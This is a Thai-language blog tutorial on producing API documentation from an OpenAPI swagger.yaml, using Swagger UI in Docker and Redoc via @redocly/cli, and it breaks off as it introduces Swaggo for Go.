em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><p>&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; API Document &#xE43;&#xE19; Go &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE21;&#xE37;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23; &#xE40;&#xE0A;&#xE48;&#xE19; <strong>Swaggo </strong>&#xE0B;&#xE36;&#xE48;&#xE07;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE34;&#xE22;&#xE21;&#xE43;&#xE19;&#xE0A;&#xE38;&#xE21;&#xE0A;&#xE19;&#xE0A;&#xE32;&#xE27; Go &#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE07;&#xE48;&#xE32;&#xE22;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE41;&#xE1A;&#xE1A; Interactive &#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;&#xE08;&#xE32;&#xE01; Code &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/swag-3.png" class="kg-image" alt loading="lazy" width="2000" height="580" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/swag-3.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/swag-3.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/swag-3.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/01/swag-3.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Swaggo &#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE2B;&#xE25;&#xE31;&#xE07; Comment &#xE43;&#xE19; Go &#xE40;&#xE1B;&#xE47;&#xE19; OpenAPI Specification &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE33;&#xE21;&#xE32;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE1C;&#xE25;&#xE40;&#xE1B;&#xE47;&#xE19; API Document &#xE1A;&#xE19; Browser</p><p><a href="https://spec.openapis.org/oas/v3.1.0.html?ref=blog.pjjop.org">OpenAPI Specification (OAS)</a> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE14;&#xE34;&#xE21;&#xE21;&#xE32;&#xE08;&#xE32;&#xE01;&#xE42;&#xE04;&#xE23;&#xE07;&#xE01;&#xE32;&#xE23; Swagger &#xE04;&#xE37;&#xE2D; &#xE21;&#xE32;&#xE15;&#xE23;&#xE10;&#xE32;&#xE19;&#xE01;&#xE25;&#xE32;&#xE07;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE41;&#xE25;&#xE30;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22; RESTful API &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; (Format) &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1A;&#xE23;&#xE23;&#xE22;&#xE32;&#xE22; Endpoint, Method, Parameter, Request Body, Response Body &#xE41;&#xE25;&#xE30; Authentication &#xE2F;&#xE25;&#xE2F; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; API &#xE41;&#xE25;&#xE30;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; API &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE41;&#xE25;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19;</p><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE35;&#xE21;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE02;&#xE36;&#xE49;&#xE19; API Document &#xE08;&#xE36;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE01;&#xE25;&#xE32;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE25;&#xE14;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE44;&#xE21;&#xE48;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE17;&#xE35;&#xE21; Frontend, Backend &#xE41;&#xE25;&#xE30; QA &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01;&#xE44;&#xE14;&#xE49;</p><p>&#xE42;&#xE14;&#xE22; OAS &#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE22;&#xE2D;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE43;&#xE19;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A;&#xE2A;&#xE32;&#xE01;&#xE25;&#xE41;&#xE25;&#xE30;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE41;&#xE1E;&#xE23;&#xE48;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE01;&#xE31;&#xE1A; RESTful API &#xE44;&#xE14;&#xE49;&#xE40;&#xE01;&#xE37;&#xE2D;&#xE1A;&#xE17;&#xE38;&#xE01;&#xE20;&#xE32;&#xE29;&#xE32;&#xE41;&#xE25;&#xE30; Framework</p><p>OAS &#xE16;&#xE39;&#xE01;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; JSON &#xE2B;&#xE23;&#xE37;&#xE2D; YAML (&#xE40;&#xE0A;&#xE48;&#xE19; swagger.yaml) &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D; &#xE40;&#xE0A;&#xE48;&#xE19;</p><p><strong>openapi:</strong> &#xE23;&#xE30;&#xE1A;&#xE38; version &#xE02;&#xE2D;&#xE07; OAS &#xE40;&#xE0A;&#xE48;&#xE19; 3.1.0<br><strong>info:</strong> &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A; API &#xE40;&#xE0A;&#xE48;&#xE19; &#xE0A;&#xE37;&#xE48;&#xE2D;, &#xE40;&#xE27;&#xE2D;&#xE23;&#xE4C;&#xE0A;&#xE31;&#xE19;, &#xE04;&#xE33;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;<br><strong>paths:</strong> &#xE23;&#xE27;&#xE21; Endpoint &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; &#xE40;&#xE0A;&#xE48;&#xE19; GET /users, POST /users<br><strong>components:</strong> &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; Schemas (Model), Security Definitions (&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Bearer Token &#xE41;&#xE25;&#xE30; BasicAuth &#xE2F;&#xE25;&#xE2F;)</p><figure class="kg-card kg-code-card"><pre><code>openapi: 3.1.0
info:
  title: My API
  version: &quot;1.0.0&quot;
paths:
  /users:
    get:
      summary: Get all users
      operationId: getUsers
      responses:
        &apos;200&apos;:
          description: A list of users
          content:
            application/json:
              schema:
                type: array
                items:
                  $ref: &apos;#/components/schemas/User&apos;
  /users/{userId}:
    get:
      summary: Get user by ID
      operationId: getUserById
      parameters:
        - name: userId
          in: path
          required: true
          schema:
            type: integer
      responses:
        &apos;200&apos;:
          description: A single user
          content:
            application/json:
              schema:
                $ref: &apos;#/components/schemas/User&apos;
components:
  schemas:
    User:
      type: object
      properties:
        id:
          type: integer
        name:
          type: string
        email:
          type: string
</code></pre><figcaption>swagger.yaml</figcaption></figure><p>&#xE42;&#xE14;&#xE22;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE21;&#xE37;&#xE2D;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; <strong>Swagger UI</strong> &#xE2B;&#xE23;&#xE37;&#xE2D; <strong>Redoc</strong> &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19; File &#xE41;&#xE25;&#xE49;&#xE27;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32; Web &#xE02;&#xE2D;&#xE07; API Document &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE40;&#xE2D;&#xE07;</p><h2 id="swagger-ui"><strong>Swagger UI</strong></h2><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49; Swagger UI &#xE41;&#xE1B;&#xE25;&#xE07; File <code>swagger.yaml</code> &#xE44;&#xE1B;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE1A;&#xE19; Browser &#xE44;&#xE14;&#xE49; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE19; Swagger UI &#xE1A;&#xE19; Docker Container &#xE15;&#xE32;&#xE21;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Folder Project &#xE40;&#xE0A;&#xE48;&#xE19; api_docs &#xE41;&#xE25;&#xE30; File &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE15;&#xE32;&#xE21;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>api_docs 
&#x251C;&#x2500;&#x2500; docker-compose.yml
&#x2514;&#x2500;&#x2500; swagger.yaml</code></pre><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>docker-compose.yml</code></li></ul><pre><code>services:
  swagger-ui:
    image: swaggerapi/swagger-ui
    container_name: swagger-ui
    ports:
      - &quot;8888:8080&quot;
    environment:
      - SWAGGER_JSON=/docs/swagger.yaml
    volumes:
      - ./swagger.yaml:/docs/swagger.yaml
</code></pre><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>swagger.yaml</code> &#xE15;&#xE32;&#xE21;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19;</li><li>Deploy Swagger UI &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>docker-compose up -d</code></li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-05.21.14.png" class="kg-image" alt loading="lazy" width="2000" height="1152" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-05.21.14.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-05.21.14.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-05.21.14.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/01/Screenshot-2568-01-07-at-05.21.14.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Container &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>docker-compose ps</code></li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-05.22.51.png" class="kg-image" alt loading="lazy" width="2000" height="176" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-05.22.51.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-05.22.51.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-05.22.51.png 1600w, https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-05.22.51.png 2294w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE1B;&#xE34;&#xE14; Browser &#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; <code><a href="http://localhost:8888/?ref=blog.pjjop.org">http://localhost:8888</a></code> &#xE08;&#xE30;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32; Web &#xE02;&#xE2D;&#xE07; Swagger UI &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-05.24.22.png" class="kg-image" alt loading="lazy" width="2000" height="1780" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-05.24.22.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-05.24.22.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-05.24.22.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/01/Screenshot-2568-01-07-at-05.24.22.png 2400w" sizes="(min-width: 720px) 720px"></figure><h2 id="redoc"><strong>Redoc</strong></h2><p>Redoc &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE35;&#xE01;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE21;&#xE37;&#xE2D;&#xE22;&#xE2D;&#xE14;&#xE19;&#xE34;&#xE22;&#xE21;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1B;&#xE25;&#xE07; File &#xE41;&#xE1A;&#xE1A; OAS &#xE43;&#xE2B;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32; Web &#xE02;&#xE2D;&#xE07; API Document &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Design &#xE2A;&#xE27;&#xE22;&#xE07;&#xE32;&#xE21;&#xE41;&#xE25;&#xE30;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE07;&#xE48;&#xE32;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32; Swagger UI &#xE41;&#xE15;&#xE48;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE38;&#xE48;&#xE21; <code>Try it out</code> &#xE41;&#xE1A;&#xE1A; Swagger UI</p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Build &#xE2B;&#xE19;&#xE49;&#xE32; Web &#xE40;&#xE1B;&#xE47;&#xE19; File <strong>HTML</strong> &#xE41;&#xE25;&#xE49;&#xE27;&#xE41;&#xE08;&#xE01;&#xE08;&#xE48;&#xE32;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE17;&#xE35;&#xE21; &#xE2B;&#xE23;&#xE37;&#xE2D; Deploy &#xE1A;&#xE19; Server &#xE40;&#xE2D;&#xE07;</p><p>&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23; Build &#xE2B;&#xE19;&#xE49;&#xE32; Web</p><ul><li>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; <code>@redocly/cli</code> &#xE1C;&#xE48;&#xE32;&#xE19; <strong>npm</strong></li></ul><pre><code>npm install -g @redocly/cli
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-05.43.35.png" class="kg-image" alt loading="lazy" width="2000" height="1021" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-05.43.35.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-05.43.35.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-05.43.35.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/01/Screenshot-2568-01-07-at-05.43.35.png 2400w" sizes="(min-width: 720px) 720px"></figure><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE2B;&#xE32;&#xE01;&#xE22;&#xE31;&#xE07;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35; npm &#xE43;&#xE2B;&#xE49;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07;&#xE15;&#xE32;&#xE21;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE01;&#xE32;&#xE23;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><p><strong>macOS</strong></p><pre><code>brew install node
</code></pre><p><strong>Linux (Ubuntu, Debian &#xE2F;&#xE25;&#xE2F;)</strong></p><pre><code>sudo apt update
sudo apt install nodejs npm
</code></pre><p><strong>Windows</strong></p><pre><code>- &#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; https://nodejs.org
- &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE23;&#xE38;&#xE48;&#xE19;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; &#xE42;&#xE14;&#xE22;&#xE1B;&#xE01;&#xE15;&#xE34;&#xE41;&#xE19;&#xE30;&#xE19;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; LTS (Long-Term Support) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE2A;&#xE16;&#xE35;&#xE22;&#xE23;
- Download File &#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; (&#xE19;&#xE32;&#xE21;&#xE2A;&#xE01;&#xE38;&#xE25; .msi) &#xE17;&#xE35;&#xE48;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE1B;&#xE31;&#xE15;&#xE22;&#xE01;&#xE23;&#xE23;&#xE21;&#xE02;&#xE2D;&#xE07; Windows
- &#xE14;&#xE31;&#xE1A;&#xE40;&#xE1A;&#xE34;&#xE25;&#xE04;&#xE25;&#xE34;&#xE01; File .msi &#xE17;&#xE35;&#xE48; Download &#xE21;&#xE32;
- &#xE01;&#xE14; Next &#xE44;&#xE1B;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE22; &#xE46; &#xE41;&#xE25;&#xE30;&#xE01;&#xE14;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE43;&#xE2B;&#xE49; Setup &#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07;&#xE08;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE2A;&#xE34;&#xE49;&#xE19;</code></pre><p>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Version &#xE02;&#xE2D;&#xE07; npm &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>node -v</code></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-05.58.22.png" class="kg-image" alt loading="lazy" width="2000" height="148" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-05.58.22.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-05.58.22.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-05.58.22.png 1600w, https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-05.58.22.png 2290w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE2A;&#xE31;&#xE48;&#xE07; Generate &#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE08;&#xE32;&#xE01; File OAS &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;</li></ul><pre><code>redocly build-docs swagger.yaml
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-05.44.22.png" class="kg-image" alt loading="lazy" width="2000" height="1021" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-05.44.22.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-05.44.22.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-05.44.22.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/01/Screenshot-2568-01-07-at-05.44.22.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Redocly &#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File <code>redoc-static.html</code> &#xE43;&#xE19; Folder &#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;</p><ul><li>&#xE40;&#xE1B;&#xE34;&#xE14; <code>redoc-static.html</code> &#xE43;&#xE19; Browser &#xE01;&#xE47;&#xE08;&#xE30;&#xE40;&#xE2B;&#xE47;&#xE19; API Document &#xE15;&#xE32;&#xE21;&#xE2A;&#xE44;&#xE15;&#xE25;&#xE4C; Redoc &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE08;&#xE30; Upload <code>redoc-static.html</code> &#xE02;&#xE36;&#xE49;&#xE19; Server &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE01;&#xE47;&#xE44;&#xE14;&#xE49;</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-05.46.14.png" class="kg-image" alt loading="lazy" width="2000" height="1903" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-05.46.14.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-05.46.14.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-05.46.14.png 1600w, https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-05.46.14.png 2312w" sizes="(min-width: 720px) 720px"></figure><h2 id="swagger-ui-vs-redoc"><strong>Swagger UI vs Redoc</strong></h2><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-06.33.15.png" class="kg-image" alt loading="lazy" width="1782" height="828" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-06.33.15.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-06.33.15.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-06.33.15.png 1600w, https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-06.33.15.png 1782w" sizes="(min-width: 720px) 720px"></figure><h2 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%97%E0%B8%B3-api-document-%E0%B9%83%E0%B8%99-go">&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; API Document &#xE43;&#xE19; Go</h2><p>Swaggo &#xE40;&#xE1B;&#xE47;&#xE19; Library &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23; Swagger (&#xE40;&#xE0A;&#xE48;&#xE19; swagger.yaml) &#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2A;&#xE48; Comment &#xE43;&#xE19; Code 